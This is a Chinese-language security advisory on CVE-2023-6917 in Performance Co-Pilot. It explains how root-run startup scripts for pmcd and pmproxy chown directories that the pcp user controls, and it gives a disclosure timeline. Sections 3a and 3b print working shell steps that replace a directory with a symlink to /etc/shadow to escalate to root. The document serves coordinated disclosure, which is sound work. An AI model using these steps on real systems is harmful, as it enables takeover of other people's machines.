1) 引言

Performance Co-Pilot (pcp) 是一个性能分析工具包,允许收集和评估本地系统上的数据,还可以以分布式方式通过网络共享这些数据。

在例行审查中,我们注意到 pcp 在 Linux 上存在目录权限问题,这些问题允许本地将特权从 _pcp_ 服务用户提升到 _root_。

这些发现基于 pcp 的 5.3.7 版本发布。CVE-2023-6917 已为此类 pcp 问题分配。

2) 服务用户和目录权限

pcp 附带的 systemd 服务以混合特权运行。有些仅使用有限的 _pcp_ 用户/组特权,例如 “pmie_check.service”。其他如 “pmcd.service” 则以完整的 root 特权运行。 _pmcd_ 守护进程实现了 pcp 的网络逻辑。它在启动期间将特权从 _root_ 降至 _pcp_。

不同的 pcp 程序使用共享目录结构

  • /var/lib/pcp/tmp,由 _pcp:pcp_ 拥有,权限为 _0775_
  • /var/log/pcp,由 _pcp:pcp_ 拥有,权限为 _0775_

当以 _root_ 身份运行的特权进程访问非特权用户控制的目录或目录树中的文件时,很容易由此产生安全问题。对于上面列出的目录,我们很快就发现了下面几节描述的两个可利用的问题。

3a) _pmcd_ 的启动脚本会为 _$_PCP_TMP_DIR/pmlogger_ 运行 chown

“pmcd.service” 以 root 权限运行,并执行 bash 脚本 “/usr/libexec/pcp/lib/pmcd”(在 Git 源代码仓库中命名为 “rc_pmcd”)。在此脚本中,__following code_ 在启动例程中作为一部分运行,位于 _reboot_setup()_ 函数中

 if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
 then
     mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
     chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
     if which restorecon >/dev/null 2>&1
     then
         restorecon -r "$PCP_TMP_DIR"
     fi
 else

在此上下文中,_$_PCP_TMP_DIR_ 指的是 “/var/lib/pcp/tmp”,由 _pcp:pcp_ 拥有,权限为 _0775_。由于上面的 shell 代码不会在错误时退出,因此被破坏的 pcp 用户甚至不必赢得竞态条件就可以执行符号链接攻击。以下漏洞利用有效

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/lib/pcp/tmp
pcp  $ rm -r pmlogger
pcp  $ ln -s /etc/shadow pmlogger
pcp  $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

3b) _pmproxy_ 的启动脚本在 _$_RUN_DIR_ 中运行 chown

“pmproxy.service” 以 root 权限运行,并执行 bash 脚本 “/usr/libexec/pcp/lib/pmproxy”(在 Git 源代码仓库中命名为 _rc_pmproxy_)。在此脚本中,_following code runs_ 作为启动(和其他)例程的一部分运行

# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
    mkdir -p -m 775 "$RUNDIR"
    chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi

在此上下文中,_$_RUN_DIR_ 指的是 “/var/log/pcp/pmproxy”。“/var/log/pcp” 由 _pcp:pcp_ 拥有,权限为 _0775_。与第 3a 节中描述的漏洞利用类似,不需要赢得竞态条件就可以利用此漏洞

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/log/pcp
pcp  $ rm -rf pmproxy
pcp  $ ln -s /etc/shadow pmproxy
pcp  $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

4) 总结

我们只选择了两个更明显的安全问题,这些问题源于 _root_ 进程在这些 pcp 拥有的目录上操作。pcp 脚本中很可能存在更多同类问题。鉴于此,_pcp_ 的用户隔离在其当前形式下可以被认为不存在,并且 _pcp_ 用户应被视为与 _root_ 相同。

_pcp_ 服务用户也用于面向网络的 _pmcd_ 组件,因此这些问题严重影响了 pcp 的纵深防御,以防攻击者找到利用网络守护进程的方法。

5) 错误修复

上游对 pcp 组件中的特权分离处理进行了更广泛的重新设计。_pull request_ 包含大量提交。很难从中分离出任何简单的补丁。

在我们跟踪此问题的 SUSE Bugzilla 错误中,我尝试识别与此问题相关的提交子集,以帮助回溯移植。

6) 时间线

2023-12-13 我将发现报告给了 pcp-maintainers@groups.io,并提供了协调披露。
2023-12-14 红帽安全团队也被加入了讨论。
2023-12-15 在最初对这是否构成实际安全问题存在分歧后,大家一致认为这是安全范围的变更,值得分配 CVE。
2023-12-15 一位上游作者建议在中旬发布,届时 pcp 的发布也计划好了。
2023-12-18 红帽安全部门分配了 CVE-2023-6917 来跟踪该问题。
2024-01-01 上游在邮件列表中讨论了一些初步的更改来解决该问题,我试图就此提供一些反馈。
2024-02-20 关于发布流程的沟通逐渐平息,我从我们的打包人员那里得知,包含修复程序的 _Pull Request_ 已经公开了一段时间。似乎没有为协调发布建立明确的禁运,存在相互矛盾的陈述。
2024-02-27 在与上游作者确认发布许可后,我最终确定了我的报告并发布了所有信息。

7) 参考